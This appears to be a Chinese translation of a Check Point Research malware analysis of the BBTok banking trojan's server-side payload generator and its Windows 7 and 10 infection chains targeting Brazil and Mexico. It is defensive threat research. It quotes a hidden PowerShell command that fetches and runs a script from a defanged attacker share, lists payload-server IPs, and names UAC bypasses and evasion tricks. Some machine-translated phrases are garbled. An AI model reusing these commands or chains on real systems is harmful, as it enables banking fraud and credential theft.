您所在的位置: 首頁 >
新聞資訊 >
技術(shù)前沿 >
分析新BBTok 惡意銀行軟件變體的服務(wù)器端組件
Check Point Research研究人員最近在拉丁美洲發(fā)現(xiàn)了一個活躍活動,該活動正在操作和部署B(yǎng)BTok銀行軟件的新變體。在這項研究中,我們會介紹新發(fā)現(xiàn)的攻擊鏈,這些攻擊鏈?zhǔn)褂昧艘环N獨特的 Living off the land Binaries組合,所以,盡管BBTok銀行軟件至少從2020年開始活躍,但時至今日,被檢測到的概率還是很低。在分析該活動時,研究人員發(fā)現(xiàn)了一些攻擊者在攻擊中使用的服務(wù)器端資源,目標(biāo)是巴西和墨西哥的數(shù)百名用戶。
服務(wù)器端組件負(fù)責(zé)提供可能通過網(wǎng)絡(luò)釣魚鏈接傳播的惡意有效負(fù)載。我們已經(jīng)觀察到相同的服務(wù)器端腳本和配置文件的多次迭代,這些腳本和配置文件展示了BBTok銀行軟件部署方法隨著時間的推移而演變的過程。這我們得以一窺攻擊者尚未實現(xiàn)的攻擊媒介,并追蹤用于維持此類操作的源代碼的起源。
我們將在本文重點介紹用于傳播銀行軟件的有效負(fù)載服務(wù)器的一些服務(wù)器端功能,它們可以為每個受害者產(chǎn)生獨特的有效負(fù)載。
發(fā)現(xiàn)過程
BBTok異?;钴S,針對巴西和墨西哥的用戶,采用多層地理圍欄來確保受攻擊的設(shè)備僅來自這些國家。
自2020年BBTok最后一次公開報道以來,運營商的技術(shù)、戰(zhàn)術(shù)和程序(TTPs)發(fā)生了重大變化,增加了額外的混淆層和下載器,從而使檢測率降到最低。
BBTok銀行有一個專門的功能,可以復(fù)制40多家墨西哥和巴西銀行的界面,并欺騙受害者將其雙重身份驗證代碼輸入他們的銀行賬戶或輸入他們的支付卡號。
新識別的有效負(fù)載是由自定義服務(wù)器端應(yīng)用程序生成的,該應(yīng)用程序負(fù)責(zé)根據(jù)操作系統(tǒng)和位置為每個受害者生成唯一的有效負(fù)載。
對有效負(fù)載服務(wù)器端代碼的分析顯示,攻擊者正在積極維護(hù)不同版本W(wǎng)indows的多樣化攻擊鏈,這些鏈?zhǔn)褂酶鞣N各樣的文件類型,包括ISO, ZIP, LNK, DOCX, JS和XLL。
攻擊者在他們的武器庫中添加開源代碼、來自黑客論壇的代碼和新的漏洞(例如Follina)。
BBTok銀行軟件歷史
BBTok銀行軟件于2020年首次被披露,通過無文件攻擊部署在拉丁美洲。其功能非常齊全,包括枚舉和終止進(jìn)程、鍵盤和鼠標(biāo)控制以及操作剪貼板內(nèi)容。除此之外,BBTok還包含經(jīng)典的銀行木馬功能,模擬在墨西哥和巴西運營的各種銀行的虛假登錄頁面。
自從首次被公開披露以來,BBTok運營商已經(jīng)采用了新的https,同時仍然主要利用帶有附件的網(wǎng)絡(luò)釣魚電子郵件進(jìn)行初始攻擊。最近,我們看到了銀行軟件通過網(wǎng)絡(luò)釣魚鏈接傳播的跡象,而不是作為電子郵件本身的附件。
在訪問惡意鏈接時,會將ISO或ZIP文件下載到受害者的計算機上,這些文件包含一個啟動攻擊鏈的LNK文件,在打開一個誘餌文件的同時,導(dǎo)致銀行軟件的部署。雖然乍一看,這個過程似乎很簡單,但幕后操作非常復(fù)雜。
在分析這些新發(fā)現(xiàn)的鏈接時,研究人員發(fā)現(xiàn)了用于傳播惡意軟件的內(nèi)部服務(wù)器端資源。很明顯,攻擊者保持了廣泛的攻擊鏈,每次點擊都根據(jù)需要生成,并根據(jù)受害者的操作系統(tǒng)和位置進(jìn)行定制。
BBTok銀行攻擊
BBTok為其運營商提供了廣泛的功能,從遠(yuǎn)程命令到經(jīng)典的銀行木馬功能,BBTok可以復(fù)制多家拉美銀行的界面。其代碼引用了墨西哥和巴西的40多家主要銀行,如花旗銀行、豐業(yè)銀行、Banco Itaú和匯豐銀行。銀行軟件通過遍歷打開的窗口和瀏覽器選項卡的名稱,搜索銀行名稱,來尋找受害者是這些銀行客戶的跡象。
其默認(rèn)目標(biāo)顯然是西班牙對外銀行(BBVA),其默認(rèn)的虛假界面旨在復(fù)制其外觀。這些虛假的界面冒充合法機構(gòu),誘使毫無戒心的用戶泄露個人和財務(wù)信息,該功能的重點是誘騙受害者輸入作為銀行賬戶密碼,并接管受害者的銀行賬戶。
嵌入BBTok 銀行軟件中的虛假接口示例
BBTok是用Delphi編寫的,它使用可視化組件庫(VCL)來創(chuàng)建表單,毫不夸張地說,這些表單形成了這些虛假的界面,這使得攻擊者可以動態(tài)、自然地生成適合受害者電腦屏幕的界面和受害者銀行的特定形式而不會引起懷疑。作為銀行軟件的默認(rèn)目標(biāo)銀行,西班牙對外銀行(BBVA)將其接口存儲在一個名為“TFRMBG”的表單中,除了銀行網(wǎng)站,攻擊者也開始在受攻擊的設(shè)備上搜索有關(guān)比特幣的信息,積極尋找”bitcoin”, ”Electrum”和”binance”等字符串。
除此之外,BBTok還可以安裝惡意瀏覽器擴展或注入名為“rpp.dll”的DLL來進(jìn)一步控制受攻擊的系統(tǒng),并可能提高其欺騙受害者的能力。
值得注意的是,該攻擊者采取了謹(jǐn)慎的方式 所有的銀行活動都是在其C2服務(wù)器的直接命令下執(zhí)行的,而不是在每個受攻擊的系統(tǒng)上自動執(zhí)行。
負(fù)載服務(wù)器分析
為了有效管理他們的活動,BBTok運營商創(chuàng)建了一個獨特的流程,由受害者點擊惡意鏈接啟動,該鏈接可能是通過釣魚電子郵件發(fā)送的。當(dāng)受害者點擊鏈接時,會根據(jù)受害者的操作系統(tǒng)下載ZIP文件或ISO映像。這個過程對受害者來說是無感的,但服務(wù)器會根據(jù)請求中找到的參數(shù)生成唯一的有效負(fù)載。
BBTok攻擊中使用的服務(wù)器端組件
此過程在基于xampp的服務(wù)器上執(zhí)行,包含三個基本組件:
一個PowerShell腳本,用于處理有效負(fù)載準(zhǔn)備,并包含創(chuàng)建lure文檔的主要邏輯;
一個PHP代碼庫和數(shù)據(jù)庫,用于記錄和管理攻擊;
增強這些組件功能的輔助實用程序。
具體流程如下:
受害者向/baxar、/descargar或/descarga執(zhí)行HTTP請求(這些路徑表明誘餌是西班牙語或葡萄牙語);
基于.htaccess文件,服務(wù)器使用descarga.php處理請求;
腳本利用文件db.php通過SQLite數(shù)據(jù)庫存儲有關(guān)請求的信息,包括受害者的信息;
Desarga.php調(diào)用ps_gen.ps1來生成一個自定義文檔,該文檔最終會傳遞給受害者。
傳入請求處理
PHP代碼庫由以下文件組成:
1.descarga/descargar.php:管理新的連接并向受害者的電腦提供引誘文檔。
2.db.php:生成并管理包含受害者詳細(xì)信息的SQLite數(shù)據(jù)庫。
3.generator.php:用于生成隨機鏈接、字符串和其他功能的實用程序類。
4.“Descarga”和“descargar”在西班牙語中翻譯為“download”。此文件包含感染過程的主要邏輯。腳本本身包含許多評論,其中一些是純西班牙語和葡萄牙語,這些評論暗示了攻擊者的來源。
腳本邏輯:
1.它根據(jù)ip-api.com檢查鏈接引用的受害者的地理位置,并將其存儲在文件中。如果受害者不是來自目標(biāo)國家(例如,墨西哥或巴西),則HTTP連接立即以404消息結(jié)束。
2.如果受害者通過了檢查,則腳本解析用戶代理以獲取受害者的Windows操作系統(tǒng)版本。
3.然后,它將帶有受害者的國家/地區(qū)代碼和引誘文件名的用戶代理傳遞到PowerShell有效負(fù)載生成器腳本。
PowerShell負(fù)載生成器
腳本ps_gen.ps1包含用于生成ZIP或ISO文件形式的文檔有效負(fù)載的主要邏輯。最新版本的代碼有很多失效的部分,這部分在過去可能是有效的,這表明它們包含額外的感染鏈和誘餌,我們發(fā)現(xiàn)了該文件的多個版本,其中一些可以追溯到2022年7月,這表明該活動已經(jīng)進(jìn)行了很長一段時間。
生成器腳本由descarga.php調(diào)用,使用帶有參數(shù)file_name、ver和cc的函數(shù)DownloadFile,這些對應(yīng)于生成的文檔名稱、受害者的操作系統(tǒng)版本和受害者的國家代碼。
在觀察到的服務(wù)器迭代中使用的代碼部分基于兩個參數(shù)生成文檔有效負(fù)載:
受害者的國度:巴西或墨西哥;
從User-Agent中提取的操作系統(tǒng):Windows 10或7;
根據(jù)結(jié)果,選擇惡意文檔的以下參數(shù):
文件類型:Windows 10為ISO, Windows 7為ZIP;
下一階段使用的DLL文件的名稱根據(jù)目標(biāo)國家的不同而變化:Trammy用于巴西,Gammy用于墨西哥。
該文檔包含一個鏈接:Windows 10中的LNK快捷圖標(biāo)是Microsoft Edge使用的快捷圖標(biāo),Windows 7中的LNK快捷圖標(biāo)是Google Chrome使用的快捷圖標(biāo)。
最后的執(zhí)行邏輯:對于Windows 10受害者,該腳本使用來自服務(wù)器216[.]250[.]251[.]196的名為dat.xml的文件執(zhí)行 MSBuild.exe,該文件還存儲下一階段的惡意DLL。對于Windows7,負(fù)載只是通過CMD執(zhí)行下載相關(guān)的遠(yuǎn)程DLL。
添加位置混淆
所有有效載荷都使用Add-PoshObfusion函數(shù)進(jìn)行模糊處理。對部分代碼的簡單搜索會從“良性”網(wǎng)站hackforums[.]net中得到一個結(jié)果,特別是2021年8月一位名為“Qismon”的用戶的回復(fù),其還推薦了一些繞過AMSI和安全產(chǎn)品的方法,并分享PoshObfusion代碼:
在hackforums[.]net中共享的Add-PoshObfuscation()代碼
攻擊鏈和最終有效負(fù)載
上面描述的過程最終導(dǎo)致了兩個攻擊鏈的變體:一個針對Windows 7,一個針對Windows 10。兩個版本之間的差異可以解釋為試圖避免新實現(xiàn)的檢測機制,如AMSI。
*ammy.dll下載程序
兩個感染鏈都使用使用類似約定命名的惡意DLL——Trammy、Gammy、Brammy或Kammy。后者是BBTok加載程序的精簡和混淆版本,在執(zhí)行任何惡意操作之前使用地理圍欄來阻止檢測。最后的有效負(fù)載是一個新版本的BBTok銀行程序。如上所述,BBTok附帶了多個額外的密碼保護(hù)軟件。這些漏洞允許攻擊者完全訪問受攻擊的設(shè)備和其他功能。
Windows 7攻擊鏈
Windows 7攻擊鏈
Windows 7的攻擊鏈不是唯一的,它由存儲在ZIP文件中的LNK文件組成。在執(zhí)行LNK文件時,使用rundll32.exe運行* my.dll負(fù)載,rundll32.exe依次下載、提取和運行BBTok負(fù)載。
Windows 10攻擊鏈
Windows 10攻擊鏈
Windows 10的攻擊鏈存儲在一個包含3個組件的ISO文件中:一個LNK文件,一個lure文件和一個重命名的cmd.exe可執(zhí)行文件。點擊LNK文件啟動攻擊鏈,使用重命名的cmd.exe以以下方式運行所有命令:
攻擊鏈
將lure文件復(fù)制到文件夾%userprofile%并打開它。
在BBTok攻擊中釋放的Lure文件
運行MSBuild.exe,使用存儲在遠(yuǎn)程服務(wù)器上的XML(通過SMB獲取)構(gòu)建應(yīng)用程序。
MSBuild.exe創(chuàng)建一個隨機命名的DLL,它反過來從服務(wù)器下載* my. DLL,并以重命名的rundll32.exe(mmd.exe)運行它,如XML內(nèi)容所示:
dll下載程序下載、提取并運行BBTok負(fù)載
重命名CMD、MSBuild和通過SMB獲取文件的獨特組合導(dǎo)致Windows 10攻擊鏈很少被檢測到。
早期版本
在對BBTok活動的分析中,研究人員遇到了來自有效負(fù)載服務(wù)器的多個版本的工件。我們看到PHP代碼、PowerShell腳本和其他實用程序都發(fā)生了變化。
PHP代碼的變化
查看descarga.php腳本的早期版本,我們看到了一些關(guān)鍵的差異:
最初,只有來自墨西哥的受害者會成為攻擊目標(biāo)。另一個有效負(fù)載服務(wù)器176[.]31[.]159[.]196的IP在腳本中進(jìn)行了硬編碼。
這里沒有直接執(zhí)行PowerShell腳本,而是調(diào)用了一個名為gen.php的腳本。雖然研究人員無法獲得這個腳本,但相信它只是執(zhí)行了PowerShell腳本。
使用db.php文件將受害者的IP地址、用戶代理和標(biāo)志(jaBaixou,即葡萄牙語中的“已下載”)插入數(shù)據(jù)庫中。稍后檢查該標(biāo)志,以確保不會提供相同的有效負(fù)載。
由于最新版本中未使用此部分,攻擊者可能發(fā)現(xiàn)此過程繁瑣,并決定用OPSEC來換取更容易的管理和更高的攻擊成功幾率。
PowerShell腳本修改說明
查看PowerShell腳本的舊版本,可以清楚地看到對負(fù)載和執(zhí)行鏈進(jìn)行了大量更改。在最早版本的腳本中,LNK只是運行一個PowerShell腳本,其參數(shù)為-ExecutionPolicy Unrestricted-W hidden-File\\%PARAM%[.]supplier[.]serveftp[.]net\files\asd.ps1。
后來的更新添加了lure PDF,fac.PDF(“fac”是“factura”的縮寫,在葡萄牙語中是“發(fā)票”)。這是來自墨西哥科利馬縣的合法西班牙語收據(jù)。此外,Windows7受害者的有效負(fù)載啟動了一個合法的墨西哥政府網(wǎng)站hxxps://failover[.]www[.]gob[.]mx/matenimiento.html。
研究人員發(fā)現(xiàn)的最新版本打開了一個不同的合法網(wǎng)站hxxps://fazenda[.]gov[.]br,巴西政府網(wǎng)站。此版本還更改了MSBuild使用的XML文件,并將為巴西目標(biāo)保留的DLL名稱從Brammy.DLL更改為Trammy.DLL。
未使用的代碼和感染媒介
PowerShell腳本中的某些代碼部分未使用,服務(wù)器托管的文件不屬于我們討論的主要感染流。特別是,研究人員沒有發(fā)現(xiàn)任何積極使用以下內(nèi)容的跡象:
ze.docx是一份利用Follina CVE(2022-30190)的文檔。PowerShell腳本中名為CreateDoc的函數(shù)中引用了它。
CreateXLL引用的xll.xll是從開源項目中獲取的惡意xllhttps://github.com/moohax/xllpoc,通過Excel實現(xiàn)代碼執(zhí)行。在服務(wù)器上發(fā)現(xiàn)了許多空的JavaScript文件,這些文件很可能被名為CreateJS的函數(shù)使用。函數(shù)b.js中引用的文件是空的,因此不清楚該函數(shù)以前是使用過還是從未完全實現(xiàn)過。
服務(wù)器上有多個bat文件,每個文件都有不同的下載下一階段的實現(xiàn)。這些很可能是由名為CreateBat的函數(shù)創(chuàng)建的,該函數(shù)在最新版本的PowerShell腳本中被取消掉了。它們中的大多數(shù)幾乎與我們之前分析的ByFD函數(shù)中的代碼相同,不包括過去兩次值得注意的迭代:
最舊的bat文件下載了另一個PowerShell腳本作為下一階段(該腳本不再公開),而不是編輯注冊表;
稍后的bat文件使用了fodhelper UAC繞過,而不是當(dāng)前正在使用的computerdefaults繞過。
受害者分析
研究人員對服務(wù)器端組件的分析也揭示了最近的一個活動,,從攻擊者的角度來看,這是基于他們發(fā)現(xiàn)的一個數(shù)據(jù)庫,該數(shù)據(jù)庫記錄了對惡意應(yīng)用程序的訪問。該數(shù)據(jù)庫名為links.sqlite,非常簡單。它包含150多個條目,所有條目都是唯一的,表頭與db.php創(chuàng)建的條目相對應(yīng)。
chave或 key;
assunto或subject;
user_agent ;
baixou或downloaded。
名為chave的列包含受害者的IP地址,而assunto列為空:
Links.sqlite數(shù)據(jù)庫
攻擊區(qū)域
由于除了攻擊者之外,任何人都不會看到服務(wù)器代碼,并且其中包含大量葡萄牙語評論,我們認(rèn)為這表明攻擊者很可能是巴西人,巴西人以其活躍的銀行惡意軟件生態(tài)系統(tǒng)而聞名。
總結(jié)
盡管BBTok目前僅在巴西墨西哥活動,但很明顯,它仍在積極開發(fā)中,由于其眾多功能,以及涉及LNK文件、SMB和MSBuild的獨特而創(chuàng)造性的傳播方法,它仍然對該地區(qū)的組織和個人構(gòu)成威脅。
參考及來源:https://research.checkpoint.com/2023/behind-the-scenes-of-bbtok-analyzing-a-bankers-server-side-components/
文章來源:嘶吼專業(yè)版